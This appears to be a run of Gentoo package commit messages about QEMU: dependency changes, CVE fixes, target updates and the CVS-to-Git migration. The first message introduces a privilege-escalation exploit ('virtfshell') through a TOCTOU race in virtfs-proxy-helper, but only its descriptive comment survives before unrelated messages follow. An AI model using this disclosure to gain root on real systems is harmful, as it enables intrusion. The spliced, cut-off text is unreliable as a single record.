The virtfs-proxy-helper program is not a safe binary to give caps.
The following exploit code demonstrates the vulnerability:
~=~=~=~= snip ~=~=~=~=
/* == virtfshell ==
*
* Some distributions make virtfs-proxy-helper from QEMU either SUID or
* give it CAP_CHOWN fs capabilities. This is a terrible idea. While
* virtfs-proxy-helper makes some sort of flimsy check to make sure
* its socket path doesn't already exist, it is vulnerable to TOCTOU.
*
* This should spawn a root shell eventually on vulnerable systems.

Upstream no longer has dedicated configuration options for tls settings.
Instead, it's all run through the gnutls feature test.
We require newer versions of gnutls because supporting older ones gets a
bit messy -- qemu might leverage libgcrypt or nettle depending on how the
gnutls package was built. By forcing the latest version, we can simplify
and only require nettle. This isn't a big deal as it's already stable.

Sync in the updates from the 9999 ebuild:
- updated seabios pin
- add new targets
- add sanity checks for targets
Add fix from upstream for blockcommit crashes #558396.
Add fix from upstream for CVE-2015-5225 #558416.
Add fix posted upstream (but not yet merged) for e1000 infinite loop #559656.

This way we know up front when a new target appears rather than when
someone happens to check & notice.

Use SLOT=0 for installing of main development files like other packages
so we can use other SLOTs for installing SONAME libs for binary packages.

Now that the virtual requires the latest libusb, we can switch to that
rather than depending directly on libusb's version.

These packages are only used when building softmmu binaries, so don't try
pulling them in when the user is building tools or user binaries.

This commit represents a new era for Gentoo:
Storing the gentoo-x86 tree in Git, as converted from CVS.
This commit is the start of the NEW history.
Any historical data is intended to be grafted onto this point.
Creation process:
1. Take final CVS checkout snapshot
2. Remove ALL ChangeLog* files
3. Transform all Manifests to thin
4. Remove empty Manifests
5. Convert all stale $Header$/$Id$ CVS keywords to non-expanded Git $Id$
5.1. Do not touch files with -kb/-ko keyword flags.
